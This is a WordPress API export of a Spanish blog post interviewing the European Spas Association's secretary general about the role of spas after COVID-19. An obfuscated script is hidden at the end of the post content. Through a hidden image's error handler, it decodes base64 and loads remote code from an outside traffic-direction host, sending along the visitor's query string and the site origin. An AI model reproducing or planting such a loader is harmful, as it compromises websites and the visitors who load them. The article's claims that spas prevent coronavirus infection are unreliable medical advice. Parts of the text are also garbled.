{"id":4448,"date":"2021-06-09T11:36:57","date_gmt":"2021-06-09T14:36:57","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=4448"},"modified":"2025-08-13T16:31:23","modified_gmt":"2025-08-13T19:31:23","slug":"el-termalismo-europeo-en-el-corazon-del-post-covid","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=4448","title":{"rendered":"El termalismo europeo en el coraz\u00f3n del post-COVID"},"content":{"rendered":"\n<p><strong>En Europa, \u00bfqu\u00e9<\/strong>\u00a0<strong>papel pueden jugar los balnearios en el contexto de la pandemia de COVID-19? Entrevista a Csilla Mez\u0151si, Secretaria General de la ESPA (European Spas Association), una asociaci\u00f3n que representa a los spas en el continente europeo.<\/strong><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft size-large\"><a href=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/MCsilla1-e1622798068822-1.jpg\"><img decoding=\"async\" width=\"388\" height=\"400\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/MCsilla1-e1622798068822-1.jpg\" alt=\"\" class=\"wp-image-4451\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/MCsilla1-e1622798068822-1.jpg 388w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/MCsilla1-e1622798068822-1-291x300.jpg 291w\" sizes=\"(max-width: 388px) 100vw, 388px\" \/><\/a><\/figure><\/div>\n\n\n\n<h2 class=\"has-light-green-cyan-color has-text-color wp-block-heading\">\u00bfC\u00f3mo pretenden los spas participar en la gesti\u00f3n del post-COVID?<\/h2>\n\n\n\n<p>La pandemia representa un\u00a0<strong>momento hist\u00f3rico para la renovaci\u00f3n y el reconocimiento de la balneolog\u00eda y los balnearios.<\/strong>\u00a0Esta es nuestra profunda convicci\u00f3n y comenzamos a comunicarnos a partir de abril de 2020, a trav\u00e9s de estudios cient\u00edficos, sobre los beneficios de la\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/www.aquae-officiel.fr\/2020\/06\/16\/covid-19-linteret-de-la-balneotherapie-pour-les-affections-respiratoires\/\" target=\"_blank\">atenci\u00f3n t\u00e9rmica para enfermedades respiratorias,<\/a>\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/www.aquae-officiel.fr\/2020\/06\/22\/covid-19-la-cure-thermale-pour-prevenir-les-maladies-cardiovasculaires\/\" target=\"_blank\">patolog\u00edas cardiovasculares,<\/a>\u00a0<a rel=\"noreferrer noopener\" href=\"https:\/\/www.aquae-officiel.fr\/2020\/07\/03\/covid-19-et-obesite-le-role-preventif-de-la-cure-thermale\/\" target=\"_blank\">obesidad,<\/a> salud mental, etc. Aprovechamos cada oportunidad para publicar esta informaci\u00f3n.<\/p>\n\n\n\n<p>Muchos miembros de\u00a0<a href=\"https:\/\/www.europeanspas.eu\/\" target=\"_blank\" rel=\"noreferrer noopener\">la ESPA (European Spas Association)<\/a>\u00a0han estado involucrados con las autoridades sanitarias o han sido\u00a0<strong>socios activos durante la crisis sanitaria,<\/strong>en la segunda l\u00ednea del sistema sanitario, como en Alemania, Eslovenia y Serbia. Eslovaquia fue el primer pa\u00eds en ofrecer\u00a0<strong>programas de recuperaci\u00f3n post-COVID en balnearios, financiados<\/strong>por un seguro de salud. Francia, Espa\u00f1a, Italia, Eslovenia, Serbia y Lituania est\u00e1n tomando medidas similares.<\/p>\n\n\n\n<p>El nuevo estudio del Cneth (Consejo Nacional de Establecimientos Termales \u2013 una organizaci\u00f3n que representa a los establecimientos termales franceses), tambi\u00e9n muestra claramente que los pacientes obligados a posponer su atenci\u00f3n en tratamiento t\u00e9rmico debido a la pandemia han sufrido y tenido m\u00e1s problemas de salud.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span style=\"color:#00d084\" class=\"tadv-color\">\u00bfC\u00f3mo ha contribuido la AEE a la integraci\u00f3n del turismo de salud en el programa de apoyo de la Comisi\u00f3n Europea?<\/span><\/h2>\n\n\n\n<p>La AESPA ha dado un paso muy concreto, al participar con el grupo\u00a0<a href=\"https:\/\/tourismmanifesto.eu\/\" target=\"_blank\" rel=\"noreferrer noopener\">del Manifiesto tur\u00edstico<\/a>\u00a0en la\u00a0<strong>redacci\u00f3n de la propuesta \u00abEfecto m\u00faltiple: por qu\u00e9 invertir en turismo\u00bb<\/strong>\u00a0dirigida a Thierry Breton, Comisario Europeo de Mercado Interior. Este texto tambi\u00e9n sirvi\u00f3 como una gu\u00eda para nuestros miembros en torno a varias ideas.<\/p>\n\n\n\n<p>Por ejemplo, el eje \u00abPower Up\u00bb consiste en reforzar la promoci\u00f3n de la salud en Europa. La salud es un megatre dtreancy y, por lo tanto, un factor emocional que influye en el estilo de vida y la sociedad moderna. Las ciudades balneario europeas siempre han despertado el deseo de ser visitadas, como elementos importantes de la sociedad, la memoria, la cultura, la asistencia sanitaria y el turismo europeos. La\u00a0<strong>promoci\u00f3n de la oferta europea de turismo de salud<\/strong>\u00a0tambi\u00e9n puede ser un medio para acelerar el desarrollo social y econ\u00f3mico y combatir la estacionalidad. El turismo de salud es la respuesta correcta a la estacionalidad y al turismo de masas, mientras que\u00a0<strong>los balnearios pueden ayudar a reducir los costos de salud p\u00fablica<\/strong>\u00a0a trav\u00e9s de la prevenci\u00f3n y mejorar la sostenibilidad y la productividad.<\/p>\n\n\n\n<p>Otro eje: \u00abConnect\u00bb (para \u00abConnect\u00bb). Los balnearios europeos, que ofrecen remedios naturales (balneolog\u00eda, medicina termal, etc.) son\u00a0<strong>destinos primordiales para la prevenci\u00f3n de la infecci\u00f3n por coronavirus y la rehabilitaci\u00f3n de personas en remisi\u00f3n.<\/strong>\u00a0Por lo tanto, estas ciudades requieren inversiones adicionales en t\u00e9rminos de acceso y conexiones con las grandes ciudades, transporte p\u00fablico y sostenible, etc. El objetivo es<strong>mejorar las infraestructuras tur\u00edsticas sostenibles\u00a0<\/strong>para posicionarse como l\u00edder en complejos vacacionales resilientes en Europa. Tambi\u00e9n se trata de fomentar el desarrollo de un dispositivo y un software multisensor que conecte la salud p\u00fablica y los spas. Y eso permite\u00a0<strong>monitorizar el estado de salud y los efectos positivos de los tratamientos en spas<\/strong>\u00a0gracias a la tecnolog\u00eda inteligente.<\/p>\n\n\n\n<h2 class=\"has-light-green-cyan-color has-text-color wp-block-heading\">L\u2019ESPA vient de c\u00e9l\u00e9brer son 25<sup>e<\/sup>&nbsp;anniversaire. Quels sont vos objectifs pour l\u2019avenir ?<\/h2>\n\n\n\n<p>Estamos muy satisfechos con estos 25 a\u00f1os de trabajo activo para spas y medispas en Europa, y de haber ayudado a unir a todos los pa\u00edses europeos en torno a remedios naturales. Por otro lado, estamos muy descontentos y un poco decepcionados de que los balnearios y las medispas, que forman parte del sistema de salud y ayudan a tantas personas, incluidos los sobrevivientes de covid-19, se vean tan afectados por los cierres administrativos. Tenemos que&nbsp;<strong>encontrar una forma de aislar el turismo de salud del turismo en general y de protegerlo contra todas las restricciones,<\/strong>incluidas las restricciones de viaje.<\/p>\n\n\n\n<p>La nueva idea fundamental:&nbsp;<strong>es mejor acudir a un centro de salud seguro y balneol\u00f3gico que quedarse en casa.<\/strong>&nbsp;Debemos defender claramente la idea de que en estos tiempos de colapso general de la salud p\u00fablica, cuidar el estado de salud en un spa de alta gama es, de hecho, la \u00fanica decisi\u00f3n inteligente para muchos pacientes.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/cropped-logo-aquae-JME2.png\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" width=\"500\" height=\"183\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/cropped-logo-aquae-JME2.png\" alt=\"\" class=\"wp-image-4450\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/cropped-logo-aquae-JME2.png 500w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2021\/06\/cropped-logo-aquae-JME2-300x110.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/a><\/figure>\n\n\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>En Europa, \u00bfqu\u00e9\u00a0papel pueden jugar los balnearios en el contexto de la pandemia de COVID-19? Entrevista a Csilla Mez\u0151si, Secretaria General de la ESPA (European Spas Association), una asociaci\u00f3n que representa a los spas en el continente europeo. \u00bfC\u00f3mo pretenden los spas participar en la gesti\u00f3n del post-COVID? La pandemia representa un\u00a0momento hist\u00f3rico para la [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4452,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":["post-4448","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-turismo-salud"],"_links":{"self":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/4448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4448"}],"version-history":[{"count":2,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/4448\/revisions"}],"predecessor-version":[{"id":10825,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/4448\/revisions\/10825"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/media\/4452"}],"wp:attachment":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}